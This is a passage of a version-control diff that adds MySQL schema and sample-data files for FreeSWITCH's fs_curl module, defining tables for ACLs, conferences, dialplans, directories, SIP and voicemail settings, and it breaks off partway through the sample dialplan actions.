+CREATE TABLE IF NOT EXISTS `acl_nodes` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `cidr` varchar(45) NOT NULL,
+  `type` varchar(16) NOT NULL,
+  `list_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_advertise` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `room` varchar(64) NOT NULL,
+  `status` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_room` (`room`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_controls` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_group` varchar(64) NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_group_action` (`conf_group`,`action`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `unique_profile_param` (`profile_name`,`param_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan` (
+  `dialplan_id` int(11) NOT NULL auto_increment,
+  `domain` varchar(128) NOT NULL,
+  `ip_address` varchar(15) NOT NULL,
+  PRIMARY KEY  (`dialplan_id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_actions` (
+  `action_id` int(11) NOT NULL auto_increment,
+  `condition_id` int(11) NOT NULL,
+  `application` varchar(256) NOT NULL,
+  `data` varchar(256) NOT NULL,
+  `type` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`action_id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_condition`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_condition` (
+  `condition_id` int(11) NOT NULL auto_increment,
+  `extension_id` int(11) NOT NULL,
+  `field` varchar(1238) NOT NULL,
+  `expression` varchar(128) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`condition_id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_condition`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_context`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_context` (
+  `context_id` int(11) NOT NULL auto_increment,
+  `dialplan_id` int(11) NOT NULL,
+  `context` varchar(64) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`context_id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_context`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_extension`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_extension` (
+  `extension_id` int(11) NOT NULL auto_increment,
+  `context_id` int(11) NOT NULL,
+  `name` varchar(128) NOT NULL,
+  `continue` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`extension_id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_extension`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_special`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_special` (
+  `id` int(11) NOT NULL auto_increment,
+  `context` varchar(255) NOT NULL,
+  `class_file` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_context` (`context`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dialplan_special`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `type` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`profile_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profiles`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_profile_params`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_profile_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `dingaling_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_type_name` (`dingaling_id`,`param_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_profile_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dingaling_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `dingaling_settings` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_param` (`param_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `dingaling_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory`
+--
+
+CREATE TABLE IF NOT EXISTS `directory` (
+  `id` int(11) NOT NULL auto_increment,
+  `username` varchar(255) NOT NULL,
+  `domain` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_domains` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `domain_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateways` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `directory_id` int(10) unsigned NOT NULL,
+  `gateway_name` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_gateway_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_gateway_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `d_gw_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_gw_param` (`d_gw_id`,`param_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_gateway_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_params` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_global_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_global_vars` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `var_name` varchar(64) NOT NULL,
+  `var_value` varchar(128) NOT NULL,
+  `domain_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_global_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_params`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_params` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_params`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `directory_vars`
+--
+
+CREATE TABLE IF NOT EXISTS `directory_vars` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) default NULL,
+  `var_name` varchar(255) default NULL,
+  `var_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `directory_vars`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `iax_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `iax_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `iax_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `iax_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `name` varchar(64) NOT NULL,
+  `greet_long` varchar(255) NOT NULL,
+  `greet_short` varchar(255) NOT NULL,
+  `invalid_sound` varchar(255) NOT NULL,
+  `exit_sound` varchar(255) NOT NULL,
+  `max_failures` int(10) unsigned NOT NULL default '3',
+  `timeout` int(11) NOT NULL default '5',
+  `tts_engine` varchar(64) default NULL,
+  `tts_voice` varchar(64) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_name` (`name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `ivr_entries`
+--
+
+CREATE TABLE IF NOT EXISTS `ivr_entries` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `ivr_id` int(10) unsigned NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  `params` varchar(255) default NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_ivr_digits` (`ivr_id`,`digits`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `ivr_entries`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `name` varchar(255) default NULL,
+  `value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `limit_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `limit_data`
+--
+
+CREATE TABLE IF NOT EXISTS `limit_data` (
+  `hostname` varchar(255) default NULL,
+  `realm` varchar(255) default NULL,
+  `id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL
+) TYPE=MyISAM;
+
+--
+-- Dumping data for table `limit_data`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `local_stream_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `local_stream_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_name` varchar(255) default NULL,
+  `directory_path` text,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `local_stream_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `modless_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `modless_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_name` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `modless_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `post_load_modules_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `post_load_modules_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `module_name` varchar(64) NOT NULL,
+  `load_module` tinyint(1) NOT NULL default '1',
+  `priority` int(10) unsigned NOT NULL default '1000',
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_mod` (`module_name`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `post_load_modules_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `rss_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `rss_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `directory_id` int(11) NOT NULL,
+  `feed` text NOT NULL,
+  `local_file` text NOT NULL,
+  `description` text,
+  `priority` int(11) NOT NULL default '1000',
+  PRIMARY KEY  (`id`)
+) TYPE=MyISAM AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `rss_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_authentication`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_authentication` (
+  `nonce` varchar(255) default NULL,
+  `expires` int(11) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_authentication`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_dialogs`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_dialogs` (
+  `call_id` varchar(255) default NULL,
+  `uuid` varchar(255) default NULL,
+  `sip_to_user` varchar(255) default NULL,
+  `sip_to_host` varchar(255) default NULL,
+  `sip_from_user` varchar(255) default NULL,
+  `sip_from_host` varchar(255) default NULL,
+  `contact_user` varchar(255) default NULL,
+  `contact_host` varchar(255) default NULL,
+  `state` varchar(255) default NULL,
+  `direction` varchar(255) default NULL,
+  `user_agent` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_dialogs`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_registrations`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_registrations` (
+  `call_id` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `status` varchar(255) default NULL,
+  `rpid` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_registrations`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sip_subscriptions`
+--
+
+CREATE TABLE IF NOT EXISTS `sip_subscriptions` (
+  `proto` varchar(255) default NULL,
+  `sip_user` varchar(255) default NULL,
+  `sip_host` varchar(255) default NULL,
+  `sub_to_user` varchar(255) default NULL,
+  `sub_to_host` varchar(255) default NULL,
+  `event` varchar(255) default NULL,
+  `contact` varchar(1024) default NULL,
+  `call_id` varchar(255) default NULL,
+  `full_from` varchar(255) default NULL,
+  `full_via` varchar(255) default NULL,
+  `expires` int(11) default NULL,
+  `user_agent` varchar(255) default NULL,
+  `accept` varchar(255) default NULL
+) TYPE=InnoDB;
+
+--
+-- Dumping data for table `sip_subscriptions`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_aliases`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_aliases` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `sofia_id` int(10) unsigned NOT NULL,
+  `alias_name` varchar(255) NOT NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_aliases`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_conf` (
+  `id` int(11) NOT NULL auto_increment,
+  `profile_name` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_domains`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_domains` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `domain_name` varchar(255) default NULL,
+  `parse` tinyint(1) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_domains`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_gateways`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_gateways` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `gateway_name` varchar(255) default NULL,
+  `gateway_param` varchar(255) default NULL,
+  `gateway_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_gateways`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `sofia_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `sofia_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `sofia_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `sofia_settings`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_conf`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_conf` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `vm_profile` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile` (`vm_profile`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_conf`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_email`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_email` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `voicemail_id` int(10) unsigned NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_profile_param` (`param_name`,`voicemail_id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_email`
+--
+
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `voicemail_settings`
+--
+
+CREATE TABLE IF NOT EXISTS `voicemail_settings` (
+  `id` int(11) NOT NULL auto_increment,
+  `voicemail_id` int(11) default NULL,
+  `param_name` varchar(255) default NULL,
+  `param_value` varchar(255) default NULL,
+  PRIMARY KEY  (`id`)
+) TYPE=InnoDB AUTO_INCREMENT=1 ;
+
+--
+-- Dumping data for table `voicemail_settings`
+--
+
+
+--
+-- Constraints for dumped tables
+--
+
+--
+-- Constraints for table `dingaling_profile_params`
+--
+ALTER TABLE `dingaling_profile_params`
+  ADD CONSTRAINT `dingaling_profile` FOREIGN KEY (`dingaling_id`) REFERENCES `dingaling_profiles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE;

Deleted: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0-with-samples.sql

Copied: freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0-with-samples.sql (from rev 14471, freeswitch/trunk/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0-with-samples.sql) (0 => 14472)


--- freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0-with-samples.sql	                        (rev 0)
+++ freeswitch/branches/seven/contrib/intralanman/PHP/fs_curl/sql/mysql-5.0-with-samples.sql	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,1433 @@
+-- phpMyAdmin SQL Dump
+-- version 3.1.2deb1
+-- http://www.phpmyadmin.net
+--
+-- Host: localhost
+-- Generation Time: Feb 15, 2009 at 09:35 PM
+-- Server version: 5.0.75
+-- PHP Version: 5.2.6-3ubuntu2
+
+SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";
+
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+
+--
+-- Database: `freeswitch`
+--
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_lists`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_lists` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `acl_name` varchar(128) NOT NULL,
+  `default_policy` varchar(45) NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_lists`
+--
+
+INSERT INTO `acl_lists` (`id`, `acl_name`, `default_policy`) VALUES
+(1, 'rfc1918', 'deny'),
+(2, 'lan', 'allow'),
+(3, 'default', 'allow');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `acl_nodes`
+--
+
+CREATE TABLE IF NOT EXISTS `acl_nodes` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `cidr` varchar(45) NOT NULL,
+  `type` varchar(16) NOT NULL,
+  `list_id` int(10) unsigned NOT NULL,
+  PRIMARY KEY  (`id`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `acl_nodes`
+--
+
+INSERT INTO `acl_nodes` (`id`, `cidr`, `type`, `list_id`) VALUES
+(1, '192.168.0.0/16', 'allow', 1),
+(2, '10.0.0.0/8', 'allow', 1),
+(3, '172.16.0.0/12', 'allow', 1);
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_advertise`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_advertise` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `room` varchar(64) NOT NULL,
+  `status` varchar(128) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_room` (`room`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=4 ;
+
+--
+-- Dumping data for table `conference_advertise`
+--
+
+INSERT INTO `conference_advertise` (`id`, `room`, `status`) VALUES
+(1, '3000@$${domain}', 'Freeswitch Conference'),
+(2, '3001@$${domain}', 'FreeSWITCH Conference 2'),
+(3, '3002@$${domain}', 'FreeSWITCH Conference 3');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_controls`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_controls` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `conf_group` varchar(64) NOT NULL,
+  `action` varchar(64) NOT NULL,
+  `digits` varchar(16) NOT NULL,
+  PRIMARY KEY  (`id`),
+  UNIQUE KEY `unique_group_action` USING BTREE (`conf_group`,`action`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=13 ;
+
+--
+-- Dumping data for table `conference_controls`
+--
+
+INSERT INTO `conference_controls` (`id`, `conf_group`, `action`, `digits`) VALUES
+(1, 'default', 'mute', '0'),
+(2, 'default', 'deaf_mute', '*'),
+(3, 'default', 'energy up', '9'),
+(4, 'default', 'energy equ', '8'),
+(5, 'default', 'energy dn', '7'),
+(6, 'default', 'vol talk up', '3'),
+(7, 'default', 'vol talk dn', '1'),
+(8, 'default', 'vol talk zero', '2'),
+(9, 'default', 'vol listen up', '6'),
+(10, 'default', 'vol listen dn', '4'),
+(11, 'default', 'vol listen zero', '5'),
+(12, 'default', 'hangup', '#');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `conference_profiles`
+--
+
+CREATE TABLE IF NOT EXISTS `conference_profiles` (
+  `id` int(10) unsigned NOT NULL auto_increment,
+  `profile_name` varchar(64) NOT NULL,
+  `param_name` varchar(64) NOT NULL,
+  `param_value` varchar(64) NOT NULL,
+  PRIMARY KEY  (`id`),
+  KEY `unique_profile_param` (`profile_name`,`param_name`)
+) ENGINE=InnoDB  DEFAULT CHARSET=latin1 AUTO_INCREMENT=8 ;
+
+--
+-- Dumping data for table `conference_profiles`
+--
+
+INSERT INTO `conference_profiles` (`id`, `profile_name`, `param_name`, `param_value`) VALUES
+(1, 'default', 'domain', '$${domain}'),
+(2, 'default', 'rate', '8000'),
+(3, 'default', 'interval', '20'),
+(4, 'default', 'energy-level', '300'),
+(5, 'default', 'moh-sound', '$${moh_uri}'),
+(6, 'default', 'caller-id-name', '$${outbound_caller_name}'),
+(7, 'default', 'caller-id-number', '$${outbound_caller_number}');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan` (
+  `dialplan_id` int(11) NOT NULL auto_increment,
+  `domain` varchar(128) NOT NULL,
+  `ip_address` varchar(15) NOT NULL,
+  PRIMARY KEY  (`dialplan_id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;
+
+--
+-- Dumping data for table `dialplan`
+--
+
+INSERT INTO `dialplan` (`dialplan_id`, `domain`, `ip_address`) VALUES
+(1, 'freeswitch', '127.0.0.1');
+
+-- --------------------------------------------------------
+
+--
+-- Table structure for table `dialplan_actions`
+--
+
+CREATE TABLE IF NOT EXISTS `dialplan_actions` (
+  `action_id` int(11) NOT NULL auto_increment,
+  `condition_id` int(11) NOT NULL,
+  `application` varchar(256) NOT NULL,
+  `data` varchar(256) NOT NULL,
+  `type` varchar(32) NOT NULL,
+  `weight` int(11) NOT NULL,
+  PRIMARY KEY  (`action_id`)
+) ENGINE=MyISAM  DEFAULT CHARSET=latin1 AUTO_INCREMENT=170 ;
+
+--
+-- Dumping data for table `dialplan_actions`
+--
+
+INSERT INTO `dialplan_actions` (`action_id`, `condition_id`, `application`, `data`, `type`, `weight`) VALUES
+(1, 2, 'deflect', '${destination_number}', 'action', 10),
+(2, 5, 'set', 'domain_name=$${domain}', 'action', 20),
+(3, 5, 'set', 'domain_name=${sip_auth_realm}', 'anti-action', 30),
+(4, 7, 'set', 'domain_name=$${domain}', 'action', 40),
+(5, 9, 'set', 'open=true', 'action', 50),
+(6, 10, 'answer', '', 'action', 60),
+(7, 10, 'intercept', '${db(select/${domain_name}-last_dial/global)}', 'action', 70),
+(8, 10, 'sleep', '2000', 'action', 80),
+(9, 11, 'answer', '', 'action', 90),
+(10, 11, 'intercept', '${db(select/${domain_name}-last_dial/${callgroup})}', 'action', 100),
+(11, 11, 'sleep', '2000', 'action', 110),
+(12, 12, 'answer', '', 'action', 120),
+(13, 12, 'intercept', '${db(select/${domain_name}-last_dial_ext/$1)}', 'action', 130),
+(14, 12, 'sleep', '2000', 'action', 140),
+(15, 13, 'transfer', '${db(select/${domain_name}-last_dial/${caller_id_number})}', 'action', 150),
+(16, 14, 'set', 'use_profile=${cond(${acl($${local_ip_v4} rfc1918)} == true ? nat : default)}', 'action', 160),
+(17, 14, 'set', 'use_profile=${cond(${acl(${network_addr} rfc1918)} == true ? nat : default)}', 'anti-action', 170),
+(18, 15, 'set_user', 'default@${domain_name}', 'action', 180),
+(19, 16, 'info', '', 'action', 190),
+(20, 17, 'set', 'sip_secure_media=true', 'action', 200),
+(21, 18, 'db', 'insert/${domain_name}-spymap/${caller_id_number}/${uuid}', 'action', 210),
+(22, 18, 'db', 'insert/${domain_name}-last_dial/${caller_id_number}/${destination_number}', 'action', 220),
+(23, 18, 'db', 'insert/${domain_name}-last_dial/global/${uuid}', 'action', 230),
